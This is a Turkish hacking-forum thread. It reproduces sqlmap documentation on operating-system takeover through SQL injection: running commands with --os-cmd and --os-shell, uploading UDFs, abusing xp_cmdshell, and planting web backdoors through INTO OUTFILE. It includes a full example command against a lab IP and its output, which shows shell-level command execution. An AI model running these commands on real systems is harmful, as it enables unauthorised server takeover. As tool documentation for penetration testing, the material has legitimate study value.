Sqlmap ile işletim sistemi devralma

LaxoNN

Üye
25 Ara 2015
149
0
İŞLETİM SİSTEMİ DEVRALMA
İsteğe bağlı işletim sistemi komutunu çalıştır
Seçenek ve anahtar: --os-cmd ve --os-shell

Arka uç veritabanı yönetim sistemi MySQL, PostgreSQL veya Microsoft SQL Server olduğunda ve oturum kullanıcısı veritabanının belirli işlevlerini ve mimari zayıflıklarını kötüye kullanmak için gerekli ayrıcalıklara sahip olduğunda veritabanı sunucusunun temel işletim sisteminde rasgele komutlar çalıştırmak mümkündür .

MySQL ve PostgreSQL'de sqlmap (yukarıda açıklanan dosya yükleme işlevi aracılığıyla) kullanıcı tarafından tanımlanmış iki işlevi içeren paylaşılan bir kütüphane (ikili dosya) yükler sys_exec()ve sys_eval()ardından bu iki işlevi veritabanında oluşturur ve bunlardan birini belirtilen işlevi yürütmek için çağırır komut, kullanıcının standart çıktıyı gösterip göstermemesine bağlı olarak değişir. Microsoft SQL Server'da, sqlmap xp_cmdshellsaklı yordamı kötüye kullanır : eğer devre dışı bırakılmışsa (varsayılan olarak Microsoft SQL Server> = 2005'te), sqlmap yeniden etkinleştirir; yoksa, sqlmap sıfırdan oluşturur.

Kullanıcı standart çıktı istediğinde, sqlmap, almak için numaralandırma SQL enjeksiyon tekniklerinden birini (kör, bant içi veya hata tabanlı) kullanır. Tam tersi, standart çıktı gerekli değilse, komutu yürütmek için yığılmış sorgu SQL enjeksiyon tekniği kullanılır.

Bu teknikler, işletim sistemi tam kontrolüne beyaz teknik Gelişmiş SQL enjeksiyonu belgesinde detaylandırılmıştır .

PostgreSQL hedefine karşı örnek:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually
İstediğiniz sayıda isteğe bağlı komut yazabileceğiniz gerçek bir kabuğu simüle etmek de mümkündür. Bu seçenek --os-shellaynı TAB tamamlama ve geçmiş işlevlerine --sql-shellsahiptir ve sahiptir.

Web uygulamasında yığılmış sorgular tanımlanmadığında (örneğin, arka uç veritabanı yönetim sistemi MySQL olan PHP veya ASP) ve DBMS MySQL ise, SELECTmaddenin INTO OUTFILEyanına yazılabilir bir klasörde bir web arka kapısı oluşturmak için kötüye kullanılması mümkündür. web sunucusu belge kök ve arka uç DBMS ve web sunucusu aynı sunucuda barındırıldığını varsayarak hala komut yürütme olsun. sqlmap bu tekniği destekler ve kullanıcının web dosyası sabitleyiciyi ve sonraki web arka kapısını yüklemeye çalışan virgülle ayrılmış olası bir belge kök alt klasörleri listesi sunmasını sağlar. Ayrıca, sqlmap aşağıdaki diller için kendi test edilmiş web dosya düzenleyicilerine ve arka kapılarına sahiptir:

ASP
ASP.NET
JSP
PHP
 

Ego1st

Uzman üye
15 Mar 2018
1,109
25
Konun altın niteliğinde fakat biraz görselleştirseydin daha da iyi olurdu. Eline sağlık.
 

LaxoNN

Üye
25 Ara 2015
149
0
Konun altın niteliğinde fakat biraz görselleştirseydin daha da iyi olurdu. Eline sağlık.
yorum için teşekkürler,

yazı bilgilendirmeden ibaret kullanılacak tek komut
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\os-cmd id -v 1

bu komut için ne anlatıma gerek yok sanırım herkesin anlayabileceği basit bir komut

ileri seviye sqlmap kullanımı hakkında daha fazla konu açıcam ileride beklemede kalın
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.